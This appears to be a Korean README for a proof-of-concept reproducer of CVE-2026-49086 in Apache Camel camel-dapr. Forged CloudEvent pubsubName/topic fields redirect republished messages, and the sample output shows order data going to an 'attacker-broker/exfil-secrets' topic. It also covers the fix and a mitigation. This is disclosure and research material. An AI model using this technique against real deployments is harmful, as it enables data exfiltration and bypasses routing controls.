
CVE-2026-49086용 PoC 재현기 — Apache Camel camel-dapr에서 confused-deputy 라우팅 헤더 재정의를 입증하며, 신뢰할 수 없는 CloudEvent 필드를 통한 메시지 리디렉션 및 데이터 유출을 가능하게 합니다.
이 프로젝트는 Apache Camel의 camel-dapr 컴포넌트에서 라우팅 헤더 재정의(confused-deputy) 결함을 시연하며, CVE-2026-49086로 추적됩니다.
Dapr pub/sub 컨슈머(DaprPubSubConsumer)는 인바운드(신뢰할 수 없는) CloudEvent의 필드를 Exchange 메시지 헤더로 복사합니다. 그중 두 개 — pubsubName과 topic — 는 프로듀서 방향 라우팅 헤더(CamelDaprPubSubName / CamelDaprTopic)입니다. 동일한 라우트가 나중에 dapr:pubSub 프로듀서로 게시할 때, DaprConfigurationOptionsProxy는 엔드포인트에 설정된 값보다 헤더 값을 우선시합니다. 따라서 신뢰할 수 없는 메시지 발신자가 제어하는 인바운드 봉투(envelope)가 라우트가 다시 게시하는 대상을 조용히 재정의합니다:
// DaprPubSubConsumer.createServiceBusExchange (affected 4.18.2) — untrusted envelope -> routing headers
message.setHeader(DaprConstants.PUBSUB_NAME, cloudEvent.getPubsubName()); // CamelDaprPubSubName
message.setHeader(DaprConstants.TOPIC, cloudEvent.getTopic()); // CamelDaprTopic
// DaprConfigurationOptionsProxy.getOption (affected 4.18.2) — header WINS over endpoint config
return ObjectHelper.isEmpty(exchange) || ObjectHelper.isEmpty(exchangeFn.apply(exchange))
? fallbackFn.get() // endpoint config (e.g. audit-broker/audit-log)
: exchangeFn.apply(exchange); // the header copied from the inbound CloudEvent
한 토픽에서 소비하여 다른 토픽으로 다시 게시하는 라우트(일반적인 감사/전달/팬아웃 패턴)에서, 구독 중인 토픽에 게시할 수 있는 공격자는 CloudEvent의 pubsubName/topic을 설정하고 다시 게시된 메시지를 임의의 Dapr pub/sub 컴포넌트 + 토픽으로 리디렉션합니다 — 페이로드를 공격자가 접근 가능한 브로커로 유출하거나, 의도된 라우팅/ACL을 우회합니다. 이는 confused-deputy(혼동된 대리자) 입니다: 애플리케이션이 공격자가 선택한 대상에 자체 Dapr 자격 증명으로 다시 게시합니다.
이 PoC는 영향을 메시지 리디렉션 / 데이터 유출(CWE-441, CWE-20에서 비롯됨) 로 시연합니다.
보안 권고: https://camel.apache.org/security/CVE-2026-49086.html
이 수정은 컨슈머가 두 라우팅 헤더(
CamelDaprPubSubName/CamelDaprTopic)를 설정하지 못하게 합니다. 다른 CloudEvent 메타데이터 헤더는 변경되지 않습니다. 그러면 프로듀서는 항상 엔드포인트에 구성된 pub/sub + 토픽을 사용합니다. (카탈로그 일관성을 위해DaprHeaderFilterStrategy도 추가되었지만, 실제 수정은 라우팅 헤더 변경입니다.)
취약점은 전적으로 Camel에 있습니다 — 컨슈머가 CloudEvent.pubsubName/topic을 라우팅 헤더로 복사하고, 프로듀서가 해당 헤더를 우선시합니다. Dapr 사이드카는 단지 전송 역할만 합니다. 이 재현기는 목(mock) Dapr SDK 클라이언트(client=#mockClient, previewClient=#mockPreview)를 주입하여 실제 DaprPubSubConsumer와 DaprPubSubHandler가 사이드카 없이 변경 없이 실행되게 합니다: 목 프리뷰 클라이언트는 구독 리스너를 캡처하고, 목 클라이언트는 게시 대상을 기록합니다. 그런 다음 공격자 드라이버가 캡처된 리스너에 위조된 CloudEvent를 전달합니다 — 구독된 토픽에 게시할 수 있는 발신자가 유발하는 것과 정확히 동일합니다.
from("dapr:pubSub?pubSubName=orders-broker&topic=orders&previewClient=#mockPreview&client=#mockClient")
.to("dapr:pubSub?pubSubName=audit-broker&topic=audit-log&client=#mockClient&previewClient=#mockPreview");
작성자는 모든 주문이 고정된 audit-broker/audit-log로 미러링되기를 의도합니다. 그러나 컨슈머가 인바운드 봉투의 pubsubName/topic을 라우팅 헤더로 복사하기 때문에, 감사 프로듀서는 봉투가 지명하는 대상으로 게시하며 — 구성된 감사 스트림으로는 절대 게시하지 않습니다.
모든 것이 하나의 자체 포함 컨테이너에서 실행됩니다.
CVE-2026-49086/
├── pom.xml # camel-dapr 4.18.2 (dapr-sdk 1.16.1 transitive) + spring-boot-web
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── DaprMockConfig.java # mock DaprClient + DaprPreviewClient (dynamic proxies; no sidecar)
│ ├── PublishRecorder.java # records where the producer actually published
│ ├── SubscriptionRegistry.java # captures the consumer's subscription listener
│ ├── VictimRoutes.java # dapr:pubSub subscribe -> dapr:pubSub publish (audit)
│ └── ExploitController.java # attacker: deliver forged CloudEvents; compare publish target
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
=== CVE-2026-49086 — camel-dapr consumer routing-header override (confused deputy) ===
Route intent: mirror every order to a FIXED audit stream
.to("dapr:pubSub?pubSubName=audit-broker&topic=audit-log")
1) Ordinary order event (envelope pubsub=orders-broker topic=orders)
audit copy actually published to: orders-broker / orders
-> already NOT the configured audit-broker/audit-log: the envelope's routing fields leaked into the producer.
2) Malicious order event (envelope forged: pubsub=attacker-broker topic=exfil-secrets)
audit copy actually published to: attacker-broker / exfil-secrets
leaked order data: {"orderId":"A-1002","card":"4111-2222-3333-4444"}
>>> PROVEN: the inbound CloudEvent's pubsubName/topic overrode the route's hard-coded
>>> audit target, so an attacker who can publish to 'orders' redirects the order copy to
>>> an arbitrary pub/sub component + topic (data exfiltration / routing bypass): true
4.14.8 / 4.18.3 / 4.21.0(CAMEL-23630)로 업그레이드하세요. 수정 후 컨슈머는 더 이상 CamelDaprPubSubName / CamelDaprTopic을 설정하지 않으므로, dapr:pubSub 컨슈머 아래의 dapr:pubSub 프로듀서는 엔드포인트에 구성된 pub/sub 컴포넌트와 토픽을 사용합니다.
업그레이드할 때까지 라우트에서 컨슈머와 모든 dapr:pubSub 프로듀서 사이의 라우팅 헤더를 제거하고(예: removeHeaders("CamelDaprPubSubName,CamelDaprTopic")), 신뢰할 수 있는 소스에서 재게시할 pub/sub + 토픽을 설정하세요.
이 재현기는 공개적으로 공개되고 수정된 취약점에 대해 보안 연구 및 승인된 테스트 전용으로 제공됩니다. 명시적 허가 없이 시스템에 사용하지 마십시오.
| 속성 | 값 |
|---|
| 컴포넌트 | camel-dapr |
| 영향 받는 클래스 | org.apache.camel.component.dapr.consumer.DaprPubSubConsumer (인바운드 CloudEvent에서 PUBSUB_NAME/TOPIC 헤더를 설정함) |
| CWE | CWE-20 (적절하지 않은 입력 검증) / CWE-441 (의도하지 않은 프록시 / 혼동된 대리자) |
| 영향 | 다시 게시된 메시지를 임의의 Dapr pub/sub 컴포넌트 + 토픽으로 리디렉션 (유출 / 라우팅 및 ACL 우회) |
| 전제 조건 | 라우트가 dapr:pubSub 토픽에서 소비하고 dapr:pubSub 프로듀서를 통해 다시 게시함; 공격자가 구독된 토픽에 게시할 수 있음 |
| 영향 받는 버전 | 4.12.0 through 4.14.7, 4.15.0–4.18.2, 4.19.0–4.20.x |
| 수정된 버전 | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23630 (PR apache/camel#23886) |
| 크레딧 | Leon Zlobecki |